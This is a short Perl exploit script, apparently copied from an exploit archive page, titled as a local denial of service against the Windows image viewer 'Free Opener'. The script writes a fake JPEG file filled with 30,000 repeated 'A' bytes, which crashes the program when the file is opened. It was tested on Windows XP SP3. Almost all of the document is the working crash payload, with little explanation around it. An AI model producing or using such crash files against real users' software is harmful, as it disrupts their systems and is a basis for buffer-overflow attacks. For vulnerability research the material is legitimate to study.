19 lines
No EOL
489 B
Perl
Executable file
19 lines
No EOL
489 B
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
# Exploit Title: Free Opener Local Denial of Service
|
|
# Date: 09-12-11
|
|
# Author: Iolo Morganwg
|
|
# Download: http://dl.installiq.com/download/downloadpop.aspx?shortname=freeopener&a=13193&f=FO-Main
|
|
# Tested on: Windows XP SP3
|
|
|
|
#To trigger: Run script open with Free opener, program dies!.
|
|
|
|
my $file= "crash25000.jpg";
|
|
my $junk = "\x41" x 30000;
|
|
# my $junk2 = "\x42" x 5000;
|
|
|
|
open($FILE,">$file");
|
|
print $FILE $junk.$junk2;
|
|
close($FILE);
|
|
|
|
print "File Created successfully\n"; |